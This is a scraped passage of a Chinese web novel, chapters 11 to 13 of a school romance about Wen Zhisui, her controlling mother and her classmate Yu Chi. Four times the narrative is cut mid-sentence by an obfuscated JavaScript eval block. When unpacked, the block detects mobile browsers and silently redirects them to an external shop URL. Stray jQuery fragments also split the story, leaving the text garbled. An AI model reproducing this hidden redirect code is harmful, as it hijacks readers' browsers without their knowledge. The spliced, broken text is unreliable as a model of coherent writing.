;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525959|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还可以,你就不能跟妈妈多说点?谁教的你说话这么温温吞吞的,一点都不大方!” 温之岁没再继续说话。 冯甯又是一声长叹,她耐心告罄,问:“所以到底有什么事情要说?” 温之岁咬了咬唇,才开口:“学校最近在进行社团招新活动,我在想我能不能……” “社团活动?妈妈的建议是你还是别参加这些浪费时间的活动,先好好把成绩搞上去,留在实验班。这些活动以后大学的校园里多的是,不急于这一时去体验。” “我知道。”温之岁又咬了咬唇,唇角被咬破了她都不知道,直到尝到一丝血腥的味道才恍觉,抽了张纸巾覆上唇角,“但老师要求每个人都参加一个社团。” 冯甯觉得一中的这个规定真是荒唐,但她不会直说。而是问:“所以你是想问我你参加哪个社团好是吗?” 温之岁没说话。她胸口泛起阵阵酸楚,妈妈明明是明白她的意思的,却还要装作不知道。 “妈妈的意见是如果你非要参加一个,就去辩论社或者广播社这种能锻炼你口才的社团,不仅能改改你现在这种温吞的说话方式,也能开拓你的知识面,对你以后都是很有帮助的。要不然其他的社团在我看来其实都是在浪费时间。” 冯甯好像总是那么冷静理性,永远以自认为最正确的价值观去评判任何事情。 ——那就是一件事到底能不能对以后的人生发展有用。如果有,那就必须要拼命去争取;如果没有,也就没压根没必要浪费时间。 可温之岁并不这么觉得。她深深吸了口气,问出了这一年多以来她一直想问的问题:“妈妈,我想去舞蹈社,我还想跳舞,只是当爱好,可以吗?” “当然不可以。你自己好好想想,如果真的重新跳舞了能做到只当它是一个爱好吗?你确定它不会占用你学习的时间?现在是人生最关键的时候,不要把时间浪费在没必要的事情上,好好学习考上一流大学,以后把它当爱好的时间就多了去了!” “我话就说这么多,怎么选择你自己看。” “嘟嘟——”电话被冯甯挂断。 …… 那天晚上温之岁做了个梦。 她梦到小时候,冯甯和温远良第一次带她去舞蹈室的那天。 她看完老师的舞蹈展示后特别兴奋,扬言以后要跳得跟老师一样好,不,比老师跳得还好! 那时候温远良摸着她的脑袋,冯甯亲她脸颊,他们都说:“好,我们岁岁以后肯定会跳得很好的!” 可是后来画面一转,梦里的场景瞬间成了高一那年,冯甯不由分说带着她去教导处,帮她办艺术生转文化生的手续。 艺术班的老师知道后觉得很可惜,一直劝冯甯再多多考虑。冯甯却回得决绝,直说小时候让温之岁去练舞就只是为了让她保持一个良好的体态,从没想过要当做以后的专业。以前是自己疏于管教,都是温之岁的爸爸一直给惯的! 温之岁那天很难过。她第一次没告诉任何人,独自坐高铁回了庆安,在小时候第一次学舞蹈的那栋楼下坐了一整晚。 直到第二天一早她才打电话给外婆,和他们报平安。 冯甯和温远良接到电话后立刻找了过来。 温之岁依然记得那天早上冯甯乘最早一班车次奔波过来,看到她那一眼时,咬着牙说的第一句话: “温之岁,我真的对你很失望。” 11. 第十一块“岁”片 温之岁是被吓醒的。 她觉得自己浑身都在出汗,脸也好烫。看了眼放在枕头边上的手机,现在竟然才凌晨两点钟。 可是她好像已经没什么睡意了。 她昨晚睡的早,和冯甯打完电话没多久就睡了,想起来还落了一堆作业没写,温之岁没再犹豫,干脆坐起来爬下了床。 整个家除了她的卧室其余的房间都是黑的,梁阿姨在上夜班,俞迟也应该早就睡了,温之岁轻轻走到厨房,摁开了灯。 暖橙色的灯光洒下来,好像周围所有的一切都跟着温暖了起来。 温之岁给自己倒了杯冰水。凉意顺着口腔蔓延至她全身,刚刚的那股烦躁和后怕却没消退半分。 俞迟是在她抿下第二口冰水的时候推门出来的。 门把手发出“啪嗒”一声脆响,温之岁闻声望去。 过道天花板上的冷白灯管由上及下打在他身上,俞迟头发乱糟糟的,显然刚才是睡过觉的。但他眼神却是清明的,看起来像是没睡着多久就又被人吵醒了。 温之岁把水杯放下,问他:“是我吵到你了吗?” 俞迟没说话,而是朝她这边走了过来。他也要喝水。 温之岁往旁边挪了两步给他让出位置。“抱歉啊,把你吵醒了。” “我说是你吵到我了?”俞迟仰头灌了一大口水,他把冰箱门关上,没骨头似的靠在旁边,“晚自习的时候睡太久了,现在睡不着。” 温之岁点点头:“哦,那就好。” 俞迟看她,强压下要打哈欠的念头,眼皮半撩不撩:“你呢,你怎么了?” 温之岁不明所以:“我没怎么啊,就是突然睡醒了,想喝水。” 俞迟在心里大骂温之岁骗子。眼睛肿成那样,眼角还沾着水雾,大半夜跑出来找水喝,他能信她说的话都有鬼了。 但他不确定,只能猜着问:“做噩梦了?” “……嗯。”比噩梦还要可怕。 “所以是不敢继续睡觉了?就跑出来喝水,一会是不是还要回房间学习去。” 他怎么猜到的啊?温之岁狐疑看俞迟一眼:“我昨晚睡太早了,还有好多作业都没写完。” 俞迟哦了声。他目光移向温之岁身后柜子上的那盆绿萝,再不浇水好像就快干死了,真干死了梁意会“疯”的吧。 俞迟觉得自己今天莫名太过细心。他视线仍是在那盆绿萝上,问温之岁:“老陈布置的题都会写么?” “还……”温之岁想说还可以的,却忽地想起冯甯昨晚说的话,她抿抿唇,换了个说法:“大部分都可以,有一些不太行。” 俞迟淡淡嗯了声。刚刚他后背倚着的那块位置有点热了,他换了冰箱的另一边靠着:“那什么,需不需要我给你讲讲你那些不太行的题?刚好我现在睡不着,看看简单的题目可能也就困了。” 温之岁一愣,谁大晚上没事儿要给人讲题的啊。“你确定吗?” 俞迟瞪她一眼:“肯定啊。我睡不着觉,给人讲题就容易睡着,不行么。” “非常可以。”温之岁无奈地弯弯唇,心说你是大少爷呗,你想怎样都可以,反正免费得了个“老师”她也不亏,“那是去书房还是你的卧室?” “咳…咳咳……” 俞迟差点没被她这个问题吓个半死。大晚上的,孤男寡女共处一室不好吧?这姑娘说话这么没分寸的么。 他冷冷扫她一眼,义正言辞:“非得去房间里?客厅不行是么。” 温之岁全然不觉有什么不妥,她点头答应:“好,那我回房间拿东西。” “嗯。” 见温之岁进了房间,俞迟在沙发上坐下。他掏出口袋里的手机,点进百度,噼噼啪啪地输入“做噩梦的人适合听哪些音乐”的问题,最后点击搜索。 大致浏览了下,他又点进音乐软件,新建了个歌单,将弹出来的答案再结合自己平常听过的一些歌,一首首搜索、添加到新建歌单里。 他给这个新建歌单取名为“哄睡”。 做完这些,温之岁恰好从房间里出来了。 她把书本放到茶几上,在俞迟旁边的地毯上坐下,翻了翻练习册,正犹豫要先问他哪道题。 旁边的俞迟把手机丢到沙发上,扔了条毛毯到她身上,视线扫过她纤细白嫩的手臂:“你没感觉到冷?手上汗毛都竖起来了。” 温之岁摸了摸胳膊,好像确实有点。她抓着那条毛毯将自己完全包裹起来,心不在焉道了声谢,还在盘算着应该先问哪道题。 俞迟摇摇头,笑了一声。他捞过空调遥控器,将空调温度调高了两度。然后在温之岁旁边坐下,扯过她手里的练习册,将那练习册移到两人中间,低头垂眸看向书上的题目。 温之岁见状往俞迟那边挪了一点点位置,自顾自调整好距离,方便俞迟给她讲题。 她左手搭在那本练习册的左半部分,俞迟右手搭在书的右半部分。两颗脑袋挨在一块。 画面莫名和谐。 似乎又不太和谐…… 这会两人间的距离比平常相处时的要近很多。 空调“呼呼”作响,冷风在空中推搡着,俞迟偶尔能闻到温之岁身上淡淡的山茶花味。 好像都是花的味道,闻着却比前几天在操场上闻到的要好闻很多? 俞迟觉得自己这会有病,竟然他妈的瞎研究起了别人用什么味道的沐浴露。他在心里狠狠默念三遍:关我屁事。关我屁事啊。关我屁事哦。 然后好整以暇,手指了指温之岁空着没写的那道题问:“这题不会?” 温之岁点头。 他说:“行,我先看看题目。”然后把练习册完全扯到自己那一边去,煞有介事地和她拉开了点距离。 温之岁瞥了俞迟一眼。 好家伙。这哥们脖子到耳根怎么全红了?她又瞥瞥那台立式空调,28度,是不是温度调太高了? 温之岁抬了抬手,往俞迟那边靠了点,她想去捞他手边的空调遥控器。 却又被俞迟狠狠剜了一眼。他整个人往沙发上缩了缩,语气恶狠狠:“你干嘛?” 温之岁懵了下,坐回原位,指了指他脖子的位置:“你是不是觉得太热了?把温度调低点吧,我披着毛毯没关系的。” “谁说我热了?我刚觉得痒,抓的。”俞迟不自在地抚了把脖颈,直接把那遥控器丢到了最边上的沙发上,笔重重点了点温之岁的书,“好好做你的题就是了。” “哦。”温之岁学他,把书也往自己这边挪了挪,她决定那就先把英语作业完成好了。 但是等了好一会,温之岁都没等到俞迟给她讲题目,而是等来了俞迟的听歌“要求”。 他把耳机扔给她问:“听歌吗?” 温之岁觉得俞迟真的奇奇怪怪的。她指了指自己手下的题目,委婉拒绝:“我在写作业哎,听歌可能会干扰我。” 俞迟歪头看了眼她的作业,哦了声,语气漫不经心:“英语啊。不是你最擅长的么,听一会应该也没关系吧。” “……” 温之岁还是接过他的耳机了。她觉得俞迟应该是和苏舒佳一样,都喜欢把自己的歌单分享给别人,听完了还要让别人点评几句自己的听歌品味怎么样的那种人。 她把耳机戴上,俞迟点开蓝牙和音乐播放。 温之岁认真听着俞迟的歌单,生怕以这少爷的个性一会还要搞“抽查”那一套。 只是,俞迟歌单里的歌曲风格让温之岁小小地震惊了一下。 “怎么去拥有一道彩虹 怎么去拥抱一夏天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525960|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的风 天上的星星笑地上的人 总是不能够不能觉得足够……” “春天散步夏天看海秋天数落叶 一直没有烦恼一直没有争吵 让每天像糖一样甜……” “一闪一闪亮晶晶留下岁月的痕迹 我的世界的中心依然还是你……” …… 都是温柔治愈的曲风,温之岁听着听着都快要睡去。眼皮越来越沉,快要闭上之际,她扯下一边的耳机:“俞迟,你平常都听这种歌吗?” 俞迟看温之岁这模样知道她估计是想睡觉了。他扯扯嘴角,笑问:“干嘛,不好听啊?” “不是啊。”温之岁咽了个哈欠下去,“感觉不像是你会听的歌。” 俞迟哼一声:“那我应该听哪种歌?” 幼稚的歌呗。温之岁没说话,而是看向放在他那的物理练习册,问他:“那道题你看完了吗?现在能讲了吗?” 俞迟看她又咽了一个哈欠,忍不住想笑:“你困了啊?” 温之岁觉得自己迷迷糊糊的:“对啊,你的歌单有点催眠。” 说完她又后悔了。这会不会变相在说他听歌品味不好,选的歌都听得人想睡觉啊? 于是温之岁赶紧找补:“但我绝对没有说你的歌单不好听的意思。就是现在这个时间,正常人都会想睡觉的。” “嗯。”俞迟懒懒应了声,他把作业合上,下巴朝那扇敞开房门的房间点了点,“那这位不正常的人,麻烦你,要是困了就进去睡。” 俞迟现在竟然出奇地好脾气。温之岁犹疑,打量了他几秒后问:“你困了吗?” 俞迟强撑着不让眼皮耷拉下来。他嘴硬:“没啊。托你的福,你不会的题都不算太简单,我还是没困意。” “行,”温之岁点点头,重新翻开那本练习册,小心翼翼挪过去问:“那要不你还是现在给我讲讲这几道题?否则我们大晚上坐在这好像都成了在浪费时间。” 俞迟也觉得自己今晚出奇地细心温暖。用周嘉佑并不夸张的话说,他要是能一直做到这样,追她的女孩都可以从庆安排到月球上去了。 但是温之岁这姑娘,竟然说和他坐在一块是在浪、费、时、间? 他毫不客气瞪她:“不要。我现在又困了,只想睡觉,不想讲题。” 温之岁眨了眨眼。她觉得自己确实也困了,没必要硬熬,于是揉了揉眼睛松口:“好吧,那我们还是都赶快回去睡觉吧。” 温之岁起身开始收拾桌上的书本。她把练习册一本本叠好,笔袋放在最上方,转身回房间。 快要走进房门时,俞迟忽地叫住她。 “温之岁,还会害怕吗?” 温之岁转身看他:“什么?” 俞迟这会已经从沙发上站起,他关了客厅的灯。周围霎时间陷入一片黑暗,温之岁站在光里,他陷在暗处,脸上忽明忽暗。 他好像耐心耗尽,深深吸了口气才继续说:“刚刚不是做噩梦了?现在呢,怎么样?好点了吗?” 温之岁怔了怔。她不傻,明白过来原来俞迟是故意喊她出来一起写作业,故意给她听那些歌。他以为她是因为做了个噩梦所以才不敢再继续睡觉。 温之岁嘴角浮出一抹涡笑。她摇摇头:“不怕了,我现在就是要回去睡觉了。” “谢谢你啊,俞迟。”温之岁看着他的眼睛说。女孩的音色干净恬和,说话时一字一顿,却不显突兀,全是真诚。 尤其在喊他名字的时候。 “嗯。”俞迟最后应了她一声。 他觉得今晚未免太过安静了。为什么没有鸟叫,为什么没有蝉鸣,它们都去哪儿了?否则他怎么可能这么清晰地听到自己心脏咚咚咚地、一声一声、一下一下在不停跳动。 12. 第十二块“岁”片 温之岁还是去四班找了宋砚知,向他要了广播社的报名表。 因为之前答应过俞迟要考虑考虑加入篮球社的啦啦队,和胡筱和一起去找宋砚知之前,温之岁特地提前和俞迟打了招呼,说明她可能不会去啦啦队了。 她以为俞大少爷会和之前一样小心眼,因为这事儿跟她摆脸色,但俞迟没有。 他只是瞥了眼她说:“我还以为你会更想去舞蹈社。” 闻言,温之岁眼底闪过一丝异样的情绪,但很快敛起。她抿了抿唇,想要撇开这个话题,不知道说什么,只好又跟俞迟道歉:“抱歉啊。当时说了要去的,现在又换主意。” 俞迟后背抵着椅靠,他两腿大刺刺敞着,低头兀自笑了笑,又摇摇头,目光落在温之岁身上,看着她说:“这有什么可对不起的,你自己觉着好不就够了。我又没逼着你一定要来啦啦队给我加油。” 谁说去啦啦队就是给他加油了啊?说的好像啦啦队所有女孩们都是为他去的。 俞大少爷可真够自恋的。 温之岁不由砸砸嘴。但不管怎么样,她还是觉得过意不去,关心起来:“那啦啦队现在人招得怎么样了?来报名的人有没有比之前多一些了?” “不知道。”俞迟半仰着脑袋,漫不经意,“不过估计也没多多少吧,一时半会也招不到太多人。” 温之岁有点急,跟着想办法:“要不然试试找找我们班上的女生呢?她们或许会愿意去。” 俞迟翘着腿,毫不在意,懒洋洋说:“嗯,反正也是周嘉佑的事儿。” 温之岁双手扶着桌沿,其中一只手不停搓着桌板,心里总想弥补他们一点。“你们如果需要帮忙的话,可以找我,我能帮到的都会尽量帮的。” 俞迟闻言坐直了些,他眉峰挑起,直直看向温之岁。 她说话一直是这样的么?永远一副认真的模样,眼神认真,语气认真,姿态也认真。他莫名想到第一次见她的时候,还有前两天晚上回房间前她向他道谢。 每一次,好像都是这样。 到底是对谁都这样,还是只对他这样? 好死不死的,他忽然好想好想知道。 俞迟视线落在温之岁肩头好半晌。 温之岁品出来俞迟这意味深长的眼神里的意思。他无非是在说:找你?找你能帮上什么忙? 温之岁暗暗思忖了会。想了想自己好像确实没什么能帮得上忙的地方,便又道:“我就是觉得抱歉,本来都答应你了的,最后却没做到。” 俞迟没再说话。他看着她,像是直觉温之岁身上一定有什么他想要的东西。 温之岁被他莫名其妙盯得有点无措,转了转眼珠,避开俞迟的视线。 俞迟便像是找到了想要的东西,抽抽嘴角,哼一声笑了开来:“温之岁,你老这么爱跟我道歉,我会怀疑你多多少少是对我有点别的意思的。” 俞迟这人说话老是云里雾里,好像总爱让别人去猜他的意思。温之岁有点没明白,眉心不由蹙起,问:“别的意思,是什么?” 俞迟没忍住想瞪她,心说你是真没懂还是装的? 他换了个更别扭的姿势——双手撑起,然后捧着脸。 温之岁冷不防地被他吓了一下。她见他莫名其妙摆出这种“向日葵向阳”的姿势,好想笑,却终是没敢直接笑出来,只偷偷弯了弯唇角。 娇羞的“向日葵·俞”似是也意识到了自己这下意识的姿势并不符合拽哥人设,他清咳了两声,就立马靠回椅背上,吊儿郎当说:“换个说法就是,你老这么跟我道歉,我很有理由怀疑你是因为对我不怀好意,所以才这么在意我的感受。知道吗?” 温之岁登时间瞪圆了眼儿。她四下看了眼,这会是课间,胡筱和出去接水了,教室里闹哄哄围了一圈又一圈人,应该没人听见俞迟的这句话。 救命……如果俞迟不是梁阿姨的儿子,温之岁可能真的会想骂他。 前两天晚上那个陪她放松、善解人意、又细心又会照顾人的俞迟上哪去了啊。这家伙还会精分的吗? 她无声叹了叹气,还是选择好脾气地和俞迟解释:“那个,你是不是误会什么了,我是真觉得抱歉,才跟你道歉的。绝对没有别的意思。” 俞迟愣了两秒。 他这边好像也被她无语到了,一副“你他妈的在说什么啊”的质疑表情,接着怪腔怪调啊了声,才说:“那你是不是也误会什么了,我本意就是让你记着没必要老跟我道歉,你怎么还当真了。” 温之岁这回真觉得俞迟有病。但他不是认真的就好,她瞬间松了一口气,摆烂般敷衍地顺着他说:“好,那我以后尽量不和你道歉了。” 她在心底腹诽:有礼貌也成她有问题了啊。 “嗯,是这意思。”俞迟瓮声瓮气应了一声。 但他还是不信。心说我信你都有鬼了哦温之岁,就数你最会撒谎了。是不是不怀好意你自己心里明明白白的,我也明明白白的。 想着想着,俞迟腿就翘得更高了,唇角也是,就快要咧到耳后根。 …… 温之岁前天晚上在微信上提前和宋砚知打过招呼,他说今天中午放学后有时间,她们下了课就可以直接去四班找他。 胡筱和实话说,宋砚知身上的那股子气质是有点儿像周见予学长的。非要说哪不同,就是周见予偏清冷,宋砚知偏温柔。只是都是同一层楼的,以前她怎么没发现他们高二除了俞迟以外,还有这么个极品帅哥呢? 尤其这几天在走廊上看见宋砚知,胡筱和越发觉得他是耐看型,越看越有气质。 她当然是不愿放过这个能近距离欣赏帅哥颜值的机会,何况以她敏锐的洞察力,她直觉宋砚知对温之岁有些别的情感。 所以下课铃声一响,胡筱和比温之岁还积极,拉着她就往四班门口跑。 后边的俞迟察觉到动静,抬头看向斜前方的女孩时,她已经被人拽走跑得没了影。 只在后门的转角处留下几缕被风吹得扬起的发尾,和一角蓝白校服衣摆。 …… 袁川和周嘉佑勾着肩从一班后门走进来。 正午时分,阳光稀稀落落洒在窗边,教室里静悄悄只剩一人。 只见俞迟那家伙正低头写题。他手下动作不停,额前碎发偶时被风吹得撩开,校服衣摆鼓风,整个人光是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525961|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐那儿就少年气息拉满。 袁川和周嘉佑默契对视一眼,在心里咒骂第一万零一遍:去你妈的,狗模狗样! 袁川原先那位置的椅子不知道被谁扯到了黑板报底下,他低头看了眼,确认没有被踩过的痕迹,直接“滋滋啦啦”拖了回去,在俞迟旁边坐下。 周嘉佑则是坐到了温之岁的椅子上,两只手一摊,欠不拉唧搁在俞迟桌上。 俞迟懒得理他们俩,手上的笔悠悠一转,漫不经心往在写的那道题旁勾了个答案,而后才抬头轻扫了眼周嘉佑正坐着的位置,皱着眉凉声道:“坐旁边去。” 周嘉佑切了声。没有不情不愿,脸上全是得逞和笑意,他屁股往旁边挪了挪,顺理成章坐上了胡筱和的位置。 袁川不由佩服,朝俞迟竖起大拇指来:“你这表哥当的,还真是够称职。” 俞迟给卷子翻了个面,他看了眼袁川,勾唇哼了声。 “那可不,袁狗你还不得赶快学学人迟狗。”周嘉佑瞥了瞥俞迟,他直觉不对劲,于是故意拖长音调揶揄道,“你看看人是怎么对妹妹的,难怪你没妹妹啊!” 袁川眼神“清澈”看着周嘉佑,特儿不服,反驳:“瞧不起谁啊你,这年头谁还没个表妹了。就去年过年那阵子,我那表舅又娶了个,刚给生了个小妹妹出来。热乎着呢还!” 周嘉佑白他一眼:“哼,是挺热乎。我看你脑子比别人刚拉出来的还热乎。” 袁川:“你他妈的!” …… 袁川和周嘉佑一左一右,各揽一边俞迟的肩。三人悠悠闲闲,二大爷遛街似的从一班教室里出来准备去食堂吃饭。 刚从门里走出来不多久,看到了四班前门站着的另外三人。 温之岁不知道递了个什么给对面的男生,那男生笑得娇羞腼腆,胡筱和站在两人旁边,看那男生又递了张小卡片给温之岁,温之岁接过,胡筱和就激动得不行,不停拉扯温之岁的手臂。 那场景,像极了刚刚牵手成功的“新人”,和一旁为之欣喜动容的“媒婆”。 袁川隔着俞迟肘了肘周嘉佑:“胡筱和又去找帅哥要微信了啊?” “我怎么知道。”周嘉佑看都懒得看一眼,他隔着十多米的距离对着胡筱和的侧脸翻了个白眼,“她不一直这样,就喜欢追着那种连屁都懒得对她放个的人。” 袁川点点头,看一眼俞迟,纳罕:“不过怎么还把温之岁拉着一块了。” “……” 没人理袁川。 俞迟想起下课前胡筱和跟温之岁坐在前面鬼鬼祟祟的聊天内容,什么帅哥……联系方式……表格什么什么的。 哼。他多么希望温之岁现在能回头看到他,如果她回头和他对视,他一定会狠狠瞪她一眼! 三人只惊讶了一小会又继续走着,他们必须要路过四班,才能走到这层楼的楼梯口,然后下楼,装作若无其事去到食堂吃饭。 后来,是胡筱和先听到脚步声朝他们这边看过来。 温之岁察觉到了动静,也瞟了一眼这边。 不知是心灵感应还是什么其他的,俞迟就这么和温之岁的视线在空中又对上了! 13. 第十三块“岁”片 恶狠狠的眼神隔空被温之岁抓个正着。 少年身高腿长,鼻梁高挺,眉眼深邃,身上的那股子气质干净又张扬。这样一副好看的皮囊配上这么一种哀怨的表情,实在是莫名多了些违和的滑稽和搞笑。 所以当温之岁转头,冷不丁地看到俞迟的那一下,她是愣住的。第一反应是:这家伙又犯的什么病啊? 她狐疑地盯着他看,目送他们朝这边走来、再默不作声从身边经过。 而“犯了病的”俞迟并不打算给她这个望闻问切的“问诊时间”,在她看向他的第二秒,就不大自然摸摸鼻尖,视线移回正前方,双手抄兜直直向前走。 主打一个不把任何目光分给侧边三人。 有一瞬间袁川觉得,俞迟每走过一块大理石砖,脚下的过道好似就会自动为他铺上一层同样大小的红地毯。而他,脖子挺得笔直,像只骄矜的西装革履的公鸡,正进行着他人生的第一次“红毯”。 他们拐进楼梯间,正下着楼,袁川想起来还是忍不住哈哈大笑。 “不是啊阿迟,我以前怎么没发现你这么能装,刚走的那几步是在模仿国际超模吗?我不行了哈哈哈哈哈哈!” 袁川一直在笑。从五楼楼梯口到三楼,鬼哭狼嚎般的笑声充斥着整个楼梯间。 结果当然不出所料,俞迟抬脚往他屁股那两坨肉来了一脚。他这会很不爽,声音带着威胁:“你再笑一个试试。” 察觉到俞迟这家伙是真的上火了,袁川霎时噤了声。 又去看看旁边的周嘉佑,也阴着一张脸。 得,两座冰山环绕在他周围,袁川莫名觉得自己这会就得是个太阳,否则他俩是不是会把自个儿冻死他不知道,他迟早得被他俩冻成冰雕。 俞迟为什么生气他摸不着头脑,周嘉佑他还是了解的。 袁川抱胸,佯装气愤:“不是刚刚走廊上那男的谁啊?看着长的也不怎么样啊。” 他观察着一左一右两座“冰山”的神情,见他们仍没反应,便哎哟了声继续:“我觉得吧,胡筱和眼光就一直挺不正常的,温妹妹估计就是被她带歪的。你们没发现她就老喜欢这种小白脸吗?拜托,哥几个纯爷们才是最屌的好吧!” 袁川一番胡言乱语下来,周嘉佑没出声,俞迟倒是很受用。他听完扑哧一声笑了,拍拍袁川的肩,忽然很认真问:“那你说,那小白脸跟我比,谁帅?” 三人走出教学楼,绕进林荫小道。树影斑驳,蝉鸣不倦,俞迟忽然来这么一句,袁川被他吓了好大一跳。 “不是哥们你怎么还阴一阵阳一阵的啊!” 但两秒后,袁川也认真起来,他看着俞迟,不假思索答:“讲真的迟狗,还是你帅。” 十七八岁的少年就是有这样莫名奇妙的胜负欲。袁川想,我是不如那个连他名都不知道的小白脸,但我哥们俞迟是谁啊,从小就“狗模狗样”,怎么着也必须比他牛啊! 俞迟被他哄爽了,得意勾勾唇笑开:“行啊袁狗,下午打球让你三个。” 周嘉佑在这时扭头,他捶了袁川胳膊一拳,像讨糖吃的小屁孩似地问:“那我呢,我跟那小白脸比,谁更帅点?” 袁川看着周嘉佑一张因为太过热爱运动被晒得黝黑的脸,终究是迟疑了好多秒,才违心说:“帅帅帅,都比那小白脸帅!咱纯爷们牛逼克拉斯!” 周嘉佑显然也爽了,摸狗一样摸了摸袁川下巴,怪声怪气:“袁狗狗乖,下午哥哥请你喝汽水哦。” 袁川嫌弃地一把推开周嘉佑的手爪子。左看一眼,右看一眼,只见旁边这俩人唇角一个翘得比一个高,他无奈叹了口气,又摇了摇头,在心底再一次感叹自己存在的重要性。 …… 是什么时候又让袁川觉得自个儿可能并没有什么屁的作用呢? 大概是他们打好饭菜准备找位置坐下吃饭时,转头冷不丁瞧见围坐在一起有说有笑的温之岁、胡筱和、还有“小白脸”三人。 那一刹那,袁川余光捕捉到了他旁边俩哥们的黑脸全过程。后来一整个中午,他好说歹说,都没能让这俩人再跟他多说几句话。 自言自语了一整个中午的袁川:“……” 妈的他俩故意的吧! …… 温之岁原本不想答应宋砚知说的一起去食堂吃饭的提议。毕竟是她转学后就没再有过联系的小学同学,真的坐下面对面吃饭,双方都不知道聊些什么好,场面应该会很尴尬。 但胡筱和听他说完立马抢答,直说好,上回他在食堂让给她们的那份盖浇饭,这次该由她们请回来的。 提及那份盖浇饭,温之岁便也答应下来。上次她的那份是胡筱和帮忙刷的,所以今天宋砚知的这份,温之岁看到后二话不说就拿出自己的饭卡贴到了刷卡机上。 读卡机“滴”一声,显示付款成功,温之岁把饭卡收回兜里。 胡筱和端着餐盘站在身后,被她逗笑:“你干嘛那么着急啊,一份饭才多少钱,没必要跟我分这么清吧。” 宋砚知也端着餐盘从旁边冒出来,扶了扶眼镜和她们开玩笑:“就是,其实你们也没必要和我分这么清的。” 阿姨把饭从窗口递出来,温之岁接过后道了声谢,转身,语气有几分认真:“那不行,要礼尚往来,不然我会过意不去的。” 这顿饭吃的并没有温之岁想象中的尴尬,宋砚知性格也不像小时候那样闷,加上胡筱和在一旁突突突地主要“输出”,温之岁只偶尔笑笑说几句话就足够了。 本以为把广播社的各种细节和趣事聊了一遍,三人会陷入沉静,偏巧四班的数学老师正是他们一班班主任徐平,话题就这么再度被挑起。 从徐平拖拖拉拉的上课进度聊到他婆婆妈妈啰哩吧嗦的“老妈子”教学风格。 直到回到教学楼上到五楼,胡筱和还在不停和宋砚知吐槽徐平。四班的教室更靠近楼梯口,两女孩在走廊外同宋砚知告别后,手挽着手往自己班走。 碰到恰好从高一高二两栋教学楼之间的连廊走过来的俞迟。 他手里拿了一沓试卷,额角微微出汗,眉眼更显清明。温之岁瞥了眼最上边的那张卷子,认出来是上周五晚上陈严明拿来给他们测验的那套题。 她猜他应该是吃完饭从食堂回来的半路上被陈严明薅去了办公室。 俞迟先看到她们,刻意放慢了脚步,自觉让出位置,示意她们先进去。 胡筱和只看一眼俞迟便进去了。 温之岁视线原先落在那叠试卷上,目光随意上移,就和俞迟的对上。 两人莫名其妙对视了几秒。俞迟先撇开视线。 温之岁有点懵,指了指他手里的卷子直接问:“需要我帮你一起发吗?” 他扫她一眼,淡淡:“不用。” 温之岁哦了声,垂下眼。 俞迟喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525962|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头滚了滚,他摸摸鼻尖,最后像是耐心耗尽,低声问:“还进不进去了?” 他语气凉凉,温之岁甚至听出了点不耐烦的意味。她怔怔看了俞迟两秒,反应过来后说了声不好意思,先进了教室。 俞迟跟在她身后进班。宽大的校服完全兜住少女纤瘦的身形,衣摆间或被风吹得股起,女孩脑后梳着一绺干净利落的马尾,发尾不时随着午后的稀碎阳光晃荡。 某一瞬,俞迟唇角忽然很不争气想往上翘。 …… 下午第一节是体育课,体育老师先带着大家绕着操场慢跑了三圈,之后便宣布了解散,所有人可以自由活动。 活动器材在田径场最里边一排屋子的器材室里。 温之岁和胡筱和绕了大半个操场过来拿羽毛球拍。 “凭什么那群男生就能不过来集合,不用跟着一起跑步,一上课就能在篮球场上打球啊!气死我了!” 胡筱和边走边敲打着发酸的大腿和胳膊,跑了个一千二,她觉得浑身哪哪都难受,一路上怨声叹气。 “一中成天到晚管天管地。上到头发是不是过眉,下到鞋带有没有按照最规矩的方法系好,怎么他妈的就是没人管管那群不守规矩就知道死守篮球场的男生啊!” “陈严明当个什么破教导主任,天天就知道守在校门口抓迟到,体育课倒是不来管了。还有那个体育老师,怎么能就那么放任那群男生不管的!” 